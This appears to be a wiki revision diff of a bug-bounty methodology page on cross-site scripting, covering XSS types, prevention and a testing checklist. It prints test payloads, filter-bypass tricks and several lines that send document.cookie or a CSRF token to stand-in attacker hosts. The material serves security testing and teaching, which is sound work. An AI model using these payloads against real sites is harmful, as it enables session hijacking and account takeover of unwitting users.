User Tools

Site Tools


tbhm:05_xss

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
tbhm:05_xss [2026/05/14 10:33] – merge bbc ch6 xss techniques drewtbhm:05_xss [2026/05/14 10:42] (current) – fix // in inline code breaking italic parser drew
Line 61: Line 61:
  
   * How are non-malicious tags handled? ''<h2>'', ''<b>''   * How are non-malicious tags handled? ''<h2>'', ''<b>''
-  * Incomplete tags? ''<iframe src=//attacker.com/c=''+  * Incomplete tags? <nowiki><iframe src=//attacker.com/c=</nowiki>
   * Encodings? ''<%00h2>'', ''%0d'', ''%0a'', ''%09''   * Encodings? ''<%00h2>'', ''%0d'', ''%0a'', ''%09''
   * Hardcoded blacklist? Does ''</script/x>'' work? ''<ScRiPt>''?   * Hardcoded blacklist? Does ''</script/x>'' work? ''<ScRiPt>''?
Line 73: Line 73:
  
  
-====== BBC Ch 6: Cross-Site Scripting -- Expanded ======+ 
 +====== BBC Ch 6: Cross-Site Scripting ======
  
 //Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li// //Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li//
Line 87: Line 88:
 </code> </code>
  
-If HttpOnly is set on the session cookie, JS cannot read it -- but the attacker can still perform actions on the victim's behalf, modify the page DOM, steal CSRF tokens, or replace the page with a phishing login form.+If HttpOnly is set on the session cookie, JS cannot read it -- but XSS can still perform actions on the victim's behalf, steal CSRF tokens from the DOM, or replace the page with a phishing login form.
  
 ===== XSS Types ===== ===== XSS Types =====
Line 93: Line 94:
 ==== Stored XSS ==== ==== Stored XSS ====
  
-User input is stored server-side (database, log, message board) and rendered to other users without sanitization. Single payload attacks every visitor. Most severe type -- affects every user who views the stored content.+User input is saved server-side (database, log, message board) and rendered to other users without sanitization. A single payload attacks every visitor. Most severe type.
  
-Classic exampleinjecting a script into a comment field. Every user who loads the page executes the script.+Classic vector: a comment field that renders JS to every user who loads the page.
  
 ==== Blind XSS ==== ==== Blind XSS ====
  
-variant of stored XSS where the payload fires in a part of the application you cannot see -- typically an admin panel or internal logging systemYou submit the payload through a user-facing form (support message, contact form, user agent field), and the script executes when an admin views it.+A stored XSS variant where the payload fires in a part of the app the attacker cannot seetypically an admin panel or internal log viewerSubmit through a user-facing form (support ticket, contact form, User-Agent header), and the script executes when an admin views it.
  
-Detectionuse an out-of-band callback instead of an alert box:+Detection -- use an out-of-band callback:
 <code> <code>
 <script src='http://YOUR_SERVER_IP/xss'></script> <script src='http://YOUR_SERVER_IP/xss'></script>
 </code> </code>
  
-Monitor server logs for GET /xss -- that confirms execution in an admin context. XSSHunter automates this.+Watch server logs for GET /xss. XSSHunter automates this.
  
 ==== Reflected XSS ==== ==== Reflected XSS ====
  
-User input is returned to the user in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page.+User input is returned in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page. Victim must click a crafted link.
  
 <code> <code>
-https://example.com/search?q=<script>alert('XSS by Vickie');</script>+https://example.com/search?q=<script>alert('XSS');</script>
 </code> </code>
- 
-The victim must click a crafted link. Affects only users who visit the URL. 
  
 ==== DOM-Based XSS ==== ==== DOM-Based XSS ====
  
-The payload never reaches the server. Client-side JavaScript reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response from the server is unchanged -- you won't find it by looking at server responses.+The payload never reaches the server. Client-side JS reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response is unchanged -- server-side WAFs cannot see it
 + 
 +URL fragments ('#') never leave the browser, so DOM XSS via fragments bypasses server-side filtering entirely.
  
-Example: a page reads `?locale=` and inserts it into the page: 
 <code> <code>
-https://example.com?locale=<script>location='http://attacker_server_ip/?c='+document.cookie;</script>+https://example.com?locale=<script>location='http://attacker/?c='+document.cookie;</script>
 </code> </code>
- 
-Key: URL fragments (`#`) never leave the browser, so DOM XSS via fragments is invisible to server-side WAFs. 
  
 ==== Self-XSS ==== ==== Self-XSS ====
  
-Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs because exploitation requires manipulating the victim, not a technical flaw alone.+Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs.
  
 ===== Prevention ===== ===== Prevention =====
  
-  * **Input validation** -- reject input containing `<script>` or JS-relevant characters at the server +  * **Input validation** -- reject input containing dangerous characters server-side 
-  * **Output escaping** -- encode `<``>``"`, `'``&before inserting user data into HTML; use context-appropriate encoding (HTML, JS, URL, CSS) +  * **Output escaping** -- encode ''<''''>''''"''''&'' before inserting user data into HTML; use context-appropriate encoding (HTML, JS, URL, CSS) 
-  * **HttpOnly on session cookies** -- prevents JS from reading cookies even if XSS fires +  * **HttpOnly on session cookies** -- prevents JS cookie theft even if XSS fires 
-  * **Content-Security-Policy header** -- restricts which scripts the browser will execute; `script-src 'self'blocks inline scripts and external origins +  * **Content-Security-Policy header** -- ''script-src 'self''' blocks inline scripts and external origins 
-  * **Modern JS frameworks** -- React, Angular 2+, Vue.js escape output automatically+  * **Modern JS frameworks** -- React, Angular 2+, Vue.js escape output by default
  
-DOM XSS prevention requires client-side input validation before writing to the DOM. Server-side sanitization alone won't catch it.+DOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it.
  
 Reference: OWASP XSS Prevention Cheat Sheet Reference: OWASP XSS Prevention Cheat Sheet
Line 149: Line 147:
 ==== Step 1: Find Input Opportunities ==== ==== Step 1: Find Input Opportunities ====
  
-  * Every text input field, search box, sign-up form, comment field, profile field +  * Every text field, search box, sign-up form, comment field, profile field 
-  * URL parameters and fragments reflected in the page +  * URL parameters and fragments that appear in the page 
-  * Drop-down menus and numeric fields -- intercept with Burp and replace the value; client-side restrictions don't apply at the network layer +  * Drop-down menus and numeric fields -- intercept with Burp and replace the value; client-side input restrictions don't apply at the network layer 
-  * Insert a unique canary string (e.g. `XSS_BY_VICKIE`into every input point, then search source for it to see which fields make it into the DOM+  * Insert a unique canary string (e.g. ''XSS_BY_VICKIE''everywhere, then search page source to see which fields reach the DOM
  
 ==== Step 2: Insert Payloads ==== ==== Step 2: Insert Payloads ====
  
-**Common payloads:**+^ Payload ^ Purpose ^ 
 +| ''<script>alert(1)</script>'' | Basic test -- pop-up if unfiltered | 
 +| ''<iframe src=javascript:alert(1)>'' | Useful when script tags are blocked | 
 +| ''<body onload=alert(1)>'' | No "script" string required | 
 +| ''"><img src=x onerror=prompt(1);>'' | Closes previous tag, fires JS on img error | 
 +| ''<script>alert(1)<!-'' | Comments out remainder of line | 
 +| ''<a onmouseover="alert(1)">test</a>'' | Fires on hover | 
 +| ''<script src=attacker.com/test.js>'' | Loads external script |
  
-| Payload | Purpose | +XSS polyglot (fires across img, script, p contexts):
-|---|---| +
-| `<script>alert(1)</script>` | Basic test -- pop-up if unfiltered | +
-| `<iframe src=javascript:alert(1)>` | Useful when script tags are blocked | +
-| `<body onload=alert(1)>` | No "script" string required | +
-| `"><img src=x onerror=prompt(1);>` | Closes previous tag, img error fires JS | +
-| `<script>alert(1)<!-` | Comments out remainder of line | +
-| `<a onmouseover="alert(1)">test</a>` | Fires on hover | +
-| `<script src=//attacker.com/test.js>` | Loads external script | +
- +
-**XSS polyglot** (works across multiple contexts -- img, script, p tags):+
 <code> <code>
 javascript:"/*"/*`/*' /*</template> javascript:"/*"/*`/*' /*</template>
Line 175: Line 170:
 </code> </code>
  
-**Generic test string** to identify which characters are escaped: `>'<"//;:!--`+Generic test string to identify which characters get escaped: ''>'<";:!--''
  
-**Blind XSS OOB payload:**+Blind XSS OOB payload:
 <code> <code>
 <script src='http://YOUR_SERVER_IP/xss'></script> <script src='http://YOUR_SERVER_IP/xss'></script>
 </code> </code>
  
-Watch server logs -- a request to /xss confirms execution.+Watch server logs for GET /xss to confirm execution.
  
 ==== Step 3: Confirm Impact ==== ==== Step 3: Confirm Impact ====
  
-  * Stored: check the page where the input is displayed; does your alert fire? +  * Stored: does your alert fire on the display page
-  * Reflected/DOM: does the browser redirect (if using `location=`) or pop an alert?+  * Reflected/DOM: does the browser redirect or pop an alert?
   * Blind: check server logs for the callback request   * Blind: check server logs for the callback request
-  * Consider timing delays -- admin pages might not load until an admin logs in+  * Account for timing delays -- blind XSS on admin pages only fires when an admin is logged in
  
 ===== Bypassing XSS Filters ===== ===== Bypassing XSS Filters =====
Line 195: Line 190:
 ==== Alternative JS Syntax ==== ==== Alternative JS Syntax ====
  
-If `<script>is blocked, use event handlers or URL schemes:+If ''<script>'' is blocked, use event handlers or URL schemes: 
 <code> <code>
-<img src="123" onerror="alert('XSS by Vickie');"/> +<img src="123" onerror="alert('XSS');"/> 
-<a href="javascript:alert('XSS by Vickie')">Click me!</a>+<a href="javascript:alert('XSS')">Click me!</a>
 </code> </code>
  
-`javascript:and `data:` URL schemes execute JS in anchor and iframe `srcattributes.+''javascript:'' and ''data:'' schemes execute JS in anchor and iframe src attributes:
  
-Data URL example: 
 <code> <code>
-data:text/html,<script>alert('XSS by Vickie')</script>+data:text/html,<script>alert('XSS')</script>
 </code> </code>
  
 ==== Capitalization and Encoding ==== ==== Capitalization and Encoding ====
  
-Filters that match exact strings can often be bypassed with mixed case (browsers are permissive):+Mix case to bypass exact-string filters (browsers parse HTML permissively): 
 <code> <code>
-<scrIPT>location='http://attacker_server_ip/?c='+document.cookie;</scrIPT>+<scrIPT>location='http://attacker/?c='+document.cookie;</scrIPT>
 </code> </code>
  
-If the filter blocks single/double quotes, use `String.fromCharCode()`:+If quotes are filtered, use ''String.fromCharCode()'': 
 <code> <code>
-<scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,95,115,101,114,118,101,114,95,105,112,47,63,99,61)+document.cookie;</scrIPT>+<scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114)+document.cookie;</scrIPT>
 </code> </code>
  
 ==== Filter Logic Errors ==== ==== Filter Logic Errors ====
  
-If the filter removes `<script>` tags exactly once, nest them so removing the inner tag reconstructs the outer:+If the filter removes ''<script>'' exactly once, nest tags so removal reconstructs the outer tag: 
 <code> <code>
-<scrip<script>t>location='http://attacker_server_ip/?c='+document.cookie;</scrip</script>t>+<scrip<script>t>location='http://attacker/?c='+document.cookie;</scrip</script>t>
 </code> </code>
  
 ==== Closing Out Tags ==== ==== Closing Out Tags ====
  
-When your input lands inside an existing HTML attribute (e.g. `<img src="USER_INPUT">`), close the attribute and tag first:+When input lands inside an existing attribute (e.g. ''<img src="USER_INPUT">''), close the attribute and tag first: 
 <code> <code>
 "/><script>location="http://attacker.com";</script> "/><script>location="http://attacker.com";</script>
 </code> </code>
  
-Check browser console for syntax errors if your payload isn'firing.+Check the browser console for syntax errors if your payload doesn'fire.
  
 Reference: OWASP XSS filter evasion cheat sheet Reference: OWASP XSS filter evasion cheat sheet
Line 242: Line 241:
 Impact depends on where the XSS fires: Impact depends on where the XSS fires:
  
-  * **Server logs / admin panel** -- stored XSS here can compromise admin accounts, exfiltrate customer data, lead to RCE via shell upload or script-as-admin+  * **Server logs / admin panel** -- stored XSS can compromise admin accounts, exfiltrate customer data, escalate to RCE via shell upload
   * **General user base** -- session hijacking via cookie theft, account takeover   * **General user base** -- session hijacking via cookie theft, account takeover
   * **CSRF token theft** -- steal the token from the DOM, then perform state-changing actions as the victim:   * **CSRF token theft** -- steal the token from the DOM, then perform state-changing actions as the victim:
  
 <code javascript> <code javascript>
-var token = document.getElementsByTagId('csrf-token')[0];+var token = document.getElementById('csrf-token').value;
 var xhr = new XMLHttpRequest(); var xhr = new XMLHttpRequest();
 xhr.open("GET", "http://attacker_server_ip/?token="+token, true); xhr.open("GET", "http://attacker_server_ip/?token="+token, true);
Line 253: Line 252:
 </code> </code>
  
-  * **Page replacement** -- replace the DOM with a fake login form (phishing) +  * **Page replacement** -- replace the DOM with a fake login form (credential phishing) 
-  * **RCE escalation** -- if the XSS fires in an Electron app or with sufficient admin privileges+  * **RCE escalation** -- if the XSS fires in an Electron app or as an admin with file upload access
  
-===== Finding Your First XSS -- 7-Step Checklist =====+===== 7-Step Checklist =====
  
   - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS.   - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS.
-  - Insert XSS payloads at all discovered injection points. Use lists, polyglots, or a generic test string.+  - Insert XSS payloads at all discovered injection points. Use payload lists, polyglots, or a generic test string.
   - Confirm impact: pop-up, redirect, or OOB callback from your server.   - Confirm impact: pop-up, redirect, or OOB callback from your server.
   - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors).   - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors).
-  - Automate with Burp Intruder or fuzzing (see Ch 25)+  - Automate with Burp Intruder or a fuzzer
-  - Assess impact: who does it target? How many users? Admin context or user context?+  - Assess impact: who does it target? How many users? Admin context or general user?
   - Send the report with a working PoC.   - Send the report with a working PoC.
  
tbhm/05_xss.1778751224.txt.gz · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki